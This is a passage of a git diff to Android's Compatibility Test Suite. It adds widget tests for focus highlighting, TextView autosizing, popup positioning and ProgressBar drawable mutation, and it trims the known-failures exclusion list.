+import android.graphics.drawable.ColorDrawable;
+import android.graphics.drawable.Drawable;
+import android.graphics.drawable.RippleDrawable;
import android.support.test.annotation.UiThreadTest;
import android.support.test.filters.MediumTest;
import android.support.test.rule.ActivityTestRule;
@@ -27,6 +32,7 @@
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
+import android.widget.ImageView;
import android.widget.LinearLayout;
import android.widget.ListView;
@@ -90,4 +96,59 @@
assertFalse(button.getDefaultFocusHighlightEnabled());
assertFalse(linearLayout.getDefaultFocusHighlightEnabled());
}
+
+ @UiThreadTest
+ @Test
+ public void testIsDefaultFocusHighlightNeeded() {
+ Activity activity = mActivityRule.getActivity();
+ final Button button = (Button) activity.findViewById(R.id.button_to_test_highlight_needed);
+ final ImageView imageView =
+ (ImageView) activity.findViewById(R.id.image_view_to_test_highlight_needed);
+
+ final Drawable[] drawables = new Drawable[] {
+ null, // null
+ new ColorDrawable(Color.WHITE), // not stateful
+ new RippleDrawable(ColorStateList.valueOf(Color.WHITE), null, null) // stateful
+ };
+ final boolean[] lackFocusState = new boolean[]{
+ true, // for null
+ true, // for not stateful
+ false, // for stateful
+ };
+
+ boolean isNeeded, expected;
+
+ // View
+ for (int i = 0; i < drawables.length; i++) {
+ for (int j = 0; j < drawables.length; j++) {
+ // Turn on default focus highlight.
+ button.setDefaultFocusHighlightEnabled(true);
+ isNeeded = button.isDefaultFocusHighlightNeeded(drawables[i], drawables[j]);
+ expected = lackFocusState[i] && lackFocusState[j];
+ assertTrue(isNeeded == expected);
+ // Turn off default focus highlight.
+ button.setDefaultFocusHighlightEnabled(false);
+ isNeeded = button.isDefaultFocusHighlightNeeded(drawables[i], drawables[j]);
+ assertFalse(isNeeded);
+ }
+ }
+
+ // ImageView
+ for (int k = 0; k < drawables.length; k++) {
+ imageView.setImageDrawable(drawables[k]);
+ for (int i = 0; i < drawables.length; i++) {
+ for (int j = 0; j < drawables.length; j++) {
+ // Turn on default focus highlight.
+ imageView.setDefaultFocusHighlightEnabled(true);
+ isNeeded = imageView.isDefaultFocusHighlightNeeded(drawables[i], drawables[j]);
+ expected = lackFocusState[i] && lackFocusState[j] && lackFocusState[k];
+ assertTrue(isNeeded == expected);
+ // Turn off default focus highlight.
+ imageView.setDefaultFocusHighlightEnabled(false);
+ isNeeded = imageView.isDefaultFocusHighlightNeeded(drawables[i], drawables[j]);
+ assertFalse(isNeeded);
+ }
+ }
+ }
+ }
}
diff --git a/tests/tests/widget/res/layout/textview_autosize_maxlines.xml b/tests/tests/widget/res/layout/textview_autosize_maxlines.xml
new file mode 100644
index 0000000..fc0d265
--- /dev/null
+++ b/tests/tests/widget/res/layout/textview_autosize_maxlines.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<view
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ class="android.widget.cts.TextViewTest$CustomTextViewWithTransformationMethod"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:maxLines="1"
+ android:autoSizeTextType="uniform"/>
\ No newline at end of file
diff --git a/tests/tests/widget/src/android/widget/cts/AdapterViewTest.java b/tests/tests/widget/src/android/widget/cts/AdapterViewTest.java
index 94a9923..cc86808 100644
--- a/tests/tests/widget/src/android/widget/cts/AdapterViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/AdapterViewTest.java
@@ -36,6 +36,7 @@
import android.content.Context;
import android.os.Parcelable;
import android.provider.Settings;
+import android.support.test.InstrumentationRegistry;
import android.support.test.filters.SmallTest;
import android.support.test.rule.ActivityTestRule;
import android.support.test.runner.AndroidJUnit4;
@@ -290,6 +291,9 @@
ViewGroup.LayoutParams.MATCH_PARENT)), true);
mActivityRule.runOnUiThread(() -> setArrayAdapter(mAdapterView));
+ // Wait for the UI to "settle down" since selection is fired asynchronously
+ // on the next layout pass, and we don't want to trigger the listener too early
+ InstrumentationRegistry.getInstrumentation().waitForIdleSync();
AdapterView.OnItemSelectedListener mockSelectedListener =
mock(AdapterView.OnItemSelectedListener.class);
diff --git a/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java b/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java
index 54fb190..a9b5a13 100644
--- a/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java
+++ b/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java
@@ -1459,6 +1459,15 @@
// Check alignment while overlapping the anchor.
subPopup.setOverlapAnchor(true);
+ final int anchorHeight = mActivity.findViewById(R.id.anchor_lower_right).getHeight();
+ // To simplify the math assert that all three lower anchors are the same height.
+ assertEquals(anchorHeight, mActivity.findViewById(R.id.anchor_lower_left).getHeight());
+ assertEquals(anchorHeight, mActivity.findViewById(R.id.anchor_lower).getHeight());
+
+ final int verticalSpaceBelowAnchor = anchorHeight * 2;
+ // Ensure that the subpopup is flipped vertically.
+ subPopup.setHeight(verticalSpaceBelowAnchor + 1);
+
verifySubPopupPosition(subPopup, R.id.anchor_upper_left, R.id.anchor_lower_right,
LEFT, EQUAL_TO, LEFT, TOP, EQUAL_TO, TOP);
verifySubPopupPosition(subPopup, R.id.anchor_middle_left, R.id.anchor_lower_right,
@@ -1480,6 +1489,16 @@
verifySubPopupPosition(subPopup, R.id.anchor_lower_right, R.id.anchor_lower_right,
RIGHT, EQUAL_TO, RIGHT, BOTTOM, EQUAL_TO, TOP);
+ // Re-test for the bottom anchor row ensuring that the subpopup not flipped vertically.
+ subPopup.setHeight(verticalSpaceBelowAnchor - 1);
+
+ verifySubPopupPosition(subPopup, R.id.anchor_lower_left, R.id.anchor_lower_right,
+ LEFT, EQUAL_TO, LEFT, TOP, EQUAL_TO, TOP);
+ verifySubPopupPosition(subPopup, R.id.anchor_lower, R.id.anchor_lower_right,
+ LEFT, EQUAL_TO, LEFT, TOP, EQUAL_TO, TOP);
+ verifySubPopupPosition(subPopup, R.id.anchor_lower_right, R.id.anchor_lower_right,
+ RIGHT, EQUAL_TO, RIGHT, TOP, EQUAL_TO, TOP);
+
// Check that scrolling scrolls the sub popup along with the main popup.
showPopup(R.id.anchor_middle);
diff --git a/tests/tests/widget/src/android/widget/cts/ProgressBarDrawableContainerTest.java b/tests/tests/widget/src/android/widget/cts/ProgressBarDrawableContainerTest.java
new file mode 100644
index 0000000..2acf8ecd
--- /dev/null
+++ b/tests/tests/widget/src/android/widget/cts/ProgressBarDrawableContainerTest.java
@@ -0,0 +1,63 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.widget.cts;
+
+import static org.junit.Assert.assertEquals;
+
+import android.app.Activity;
+import android.graphics.drawable.DrawableContainer;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.SmallTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.widget.ProgressBar;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class ProgressBarDrawableContainerTest {
+ private Activity mActivity;
+
+ @Rule
+ public ActivityTestRule<RadioGroupCtsActivity> mActivityRule =
+ new ActivityTestRule<>(RadioGroupCtsActivity.class);
+
+ @Before
+ public void setup() {
+ mActivity = mActivityRule.getActivity();
+ }
+
+ @UiThreadTest
+ @Test
+ public void testMutate() {
+ DrawableContainer d = (DrawableContainer) new ProgressBar(
+ mActivity).getIndeterminateDrawable().mutate();
+
+ boolean mirrored = d.isAutoMirrored();
+ d.setAutoMirrored(!mirrored);
+
+ ProgressBar newBar = new ProgressBar(mActivity);
+ DrawableContainer d2 = (DrawableContainer) newBar.getIndeterminateDrawable();
+ boolean newMirrored = d2.isAutoMirrored();
+ assertEquals(newMirrored, mirrored);
+ }
+
+}
diff --git a/tests/tests/widget/src/android/widget/cts/TextViewTest.java b/tests/tests/widget/src/android/widget/cts/TextViewTest.java
index 3207773..1198229 100644
--- a/tests/tests/widget/src/android/widget/cts/TextViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TextViewTest.java
@@ -45,6 +45,7 @@
import static java.lang.annotation.RetentionPolicy.SOURCE;
import android.annotation.IntDef;
+import android.annotation.Nullable;
import android.app.Activity;
import android.app.Instrumentation;
import android.app.Instrumentation.ActivityMonitor;
@@ -112,6 +113,7 @@
import android.text.style.URLSpan;
import android.text.style.UnderlineSpan;
import android.text.util.Linkify;
+import android.util.AttributeSet;
import android.util.DisplayMetrics;
import android.util.SparseArray;
import android.util.TypedValue;
@@ -6612,6 +6614,46 @@
}
@Test
+ public void testAutosizeWithMaxLines_shouldNotThrowException() throws Throwable {
+ // the layout contains an instance of CustomTextViewWithTransformationMethod
+ final TextView textView = (TextView) mActivity.getLayoutInflater()
+ .inflate(R.layout.textview_autosize_maxlines, null);
+ assertTrue(textView instanceof CustomTextViewWithTransformationMethod);
+ assertEquals(1, textView.getMaxLines());
+ assertEquals(TextView.AUTO_SIZE_TEXT_TYPE_UNIFORM, textView.getAutoSizeTextType());
+ assertTrue(textView.getTransformationMethod() instanceof SingleLineTransformationMethod);
+ }
+
+ public static class CustomTextViewWithTransformationMethod extends TextView {
+ public CustomTextViewWithTransformationMethod(Context context) {
+ super(context);
+ init();
+ }
+
+ public CustomTextViewWithTransformationMethod(Context context,
+ @Nullable AttributeSet attrs) {
+ super(context, attrs);
+ init();
+ }
+
+ public CustomTextViewWithTransformationMethod(Context context,
+ @Nullable AttributeSet attrs, int defStyleAttr) {
+ super(context, attrs, defStyleAttr);
+ init();
+ }
+
+ public CustomTextViewWithTransformationMethod(Context context,
+ @Nullable AttributeSet attrs, int defStyleAttr, int defStyleRes) {
+ super(context, attrs, defStyleAttr, defStyleRes);
+ init();
+ }
+
+ private void init() {
+ setTransformationMethod(new SingleLineTransformationMethod());
+ }
+ }
+
+ @Test
public void testAutoSize_setEllipsize() throws Throwable {
final TextView textView = (TextView) mActivity.findViewById(
R.id.textview_autosize_uniform_predef_sizes);
@@ -7238,6 +7280,70 @@
}
@Test
+ public void testAutoSizeUniform_equivalentConfigurations() throws Throwable {
+ final DisplayMetrics dm = mActivity.getResources().getDisplayMetrics();
+ final int minTextSize = 10;
+ final int maxTextSize = 20;
+ final int granularity = 2;
+ final int unit = TypedValue.COMPLEX_UNIT_SP;
+
+ final TextView granularityTextView = new TextView(mActivity);
+ granularityTextView.setAutoSizeTextTypeUniformWithConfiguration(
+ minTextSize, maxTextSize, granularity, unit);
+
+ final TextView presetTextView = new TextView(mActivity);
+ presetTextView.setAutoSizeTextTypeUniformWithPresetSizes(
+ new int[] {minTextSize, 12, 14, 16, 18, maxTextSize}, unit);
+
+ // The TextViews have been configured differently but the end result should be nearly
+ // identical.
+ final int expectedAutoSizeType = TextView.AUTO_SIZE_TEXT_TYPE_UNIFORM;
+ assertEquals(expectedAutoSizeType, granularityTextView.getAutoSizeTextType());
+ assertEquals(expectedAutoSizeType, presetTextView.getAutoSizeTextType());
+
+ final int expectedMinTextSizeInPx = Math.round(
+ TypedValue.applyDimension(unit, minTextSize, dm));
+ assertEquals(expectedMinTextSizeInPx, granularityTextView.getAutoSizeMinTextSize());
+ assertEquals(expectedMinTextSizeInPx, presetTextView.getAutoSizeMinTextSize());
+
+ final int expectedMaxTextSizeInPx = Math.round(
+ TypedValue.applyDimension(unit, maxTextSize, dm));
+ assertEquals(expectedMaxTextSizeInPx, granularityTextView.getAutoSizeMaxTextSize());
+ assertEquals(expectedMaxTextSizeInPx, presetTextView.getAutoSizeMaxTextSize());
+
+ // Configured with granularity.
+ assertEquals(Math.round(TypedValue.applyDimension(unit, granularity, dm)),
+ granularityTextView.getAutoSizeStepGranularity());
+ // Configured with preset values, there is no granularity.
+ assertEquals(-1, presetTextView.getAutoSizeStepGranularity());
+
+ // Both TextViews generate exactly the same sizes in pixels to choose from when auto-sizing.
+ assertArrayEquals(
+ granularityTextView.getAutoSizeTextAvailableSizes(),
+ presetTextView.getAutoSizeTextAvailableSizes());
+
+ final String someText = "This is a string";
+ final int widthHeight = 600;
+ // Configure identically and attach to layout.
+ mActivityRule.runOnUiThread(() -> {
+ LinearLayout ll = mActivity.findViewById(R.id.layout_textviewtest);
+ ll.addView(granularityTextView);
+ ll.addView(presetTextView);
+
+ granularityTextView.setWidth(widthHeight);
+ granularityTextView.setHeight(widthHeight);
+ granularityTextView.setText(someText);
+
+ presetTextView.setWidth(widthHeight);
+ presetTextView.setHeight(widthHeight);
+ presetTextView.setText(someText);
+ });
+ mInstrumentation.waitForIdleSync();
+
+ assertEquals(granularityTextView.getTextSize(), presetTextView.getTextSize(), 0f);
+ }
+
+ @Test
public void testAutoSizeUniform_getSetAutoSizeMaxTextSize() {
final TextView textView = new TextView(mActivity);
textView.setAutoSizeTextTypeWithDefaults(TextView.AUTO_SIZE_TEXT_TYPE_UNIFORM);
@@ -7264,8 +7370,8 @@
TypedValue.COMPLEX_UNIT_SP);
// It does not matter which unit has been used to set the max size, the getter always
// returns it in pixels.
- assertEquals((int) TypedValue.applyDimension(TypedValue.COMPLEX_UNIT_SP, newMaxSize,
- mActivity.getResources().getDisplayMetrics()), textView.getAutoSizeMaxTextSize());
+ assertEquals(Math.round(TypedValue.applyDimension(TypedValue.COMPLEX_UNIT_SP, newMaxSize,
+ mActivity.getResources().getDisplayMetrics())), textView.getAutoSizeMaxTextSize());
}
@Test
diff --git a/tools/cts-tradefed/res/config/cts-known-failures.xml b/tools/cts-tradefed/res/config/cts-known-failures.xml
index f135738..aaf1f81 100644
--- a/tools/cts-tradefed/res/config/cts-known-failures.xml
+++ b/tools/cts-tradefed/res/config/cts-known-failures.xml
@@ -97,22 +97,6 @@
<option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogH264FlexArbitraryW" />
<option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogH264SurfArbitraryW" />
- <!-- b/30932589 -->
- <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.ExifInterfaceTest#testReadExifDataFromExifByteOrderIIJpeg" />
- <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.ExifInterfaceTest#testReadExifDataFromExifByteOrderMMJpeg" />
- <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.ExifInterfaceTest#testReadExifDataFromLgG4Iso800Dng" />
- <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.ExifInterfaceTest#testDoNotFailOnCorruptedImage" />
- <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.ExifInterfaceTest#testReadExifDataFromVolantisJpg" />
- <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.ExifInterfaceTest#testReadExifDataFromSonyRX100Arw" />
- <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.ExifInterfaceTest#testReadExifDataFromCanonG7XCr2" />
- <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.ExifInterfaceTest#testReadExifDataFromFujiX20Raf" />
- <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.ExifInterfaceTest#testReadExifDataFromNikon1AW1Nef" />
- <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.ExifInterfaceTest#testReadExifDataFromNikonP330Nrw" />
- <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.ExifInterfaceTest#testReadExifDataFromOlympusEPL3Orf" />
- <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.ExifInterfaceTest#testReadExifDataFromPanasonicGM5Rw2" />
- <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.ExifInterfaceTest#testReadExifDataFromPentaxK5Pef" />
- <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.ExifInterfaceTest#testReadExifDataFromSamsungNX3000Srw" />
-
<!-- b/25651805 -->
<option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.ConnectivityManagerTest#testRestrictedNetworks" />
<!-- b/18682315 -->
@@ -182,7 +166,7 @@
<option name="compatibility:exclude-filter" value="CtsVideoTestCases android.video.cts.VideoEncoderDecoderTest#testVp9Goog0Perf1920x1080" />
<!-- b/37545399 -->
- <option name="compatibility:exclude-filter" value="CtsSystemUiTestCases android.systemui.cts#testLightNavigationBar" />
+ <option name="compatibility:exclude-filter" value="CtsSystemUiTestCases android.systemui.cts.LightBarTests#testLightNavigationBar" />
<!-- b/37482372 -->
<option name="compatibility:exclude-filter" value="CtsPreference2TestCases android.preference2.cts.PreferenceActivityFlowPortraitTest#multiWindowHistoryPreservePortraitTest" />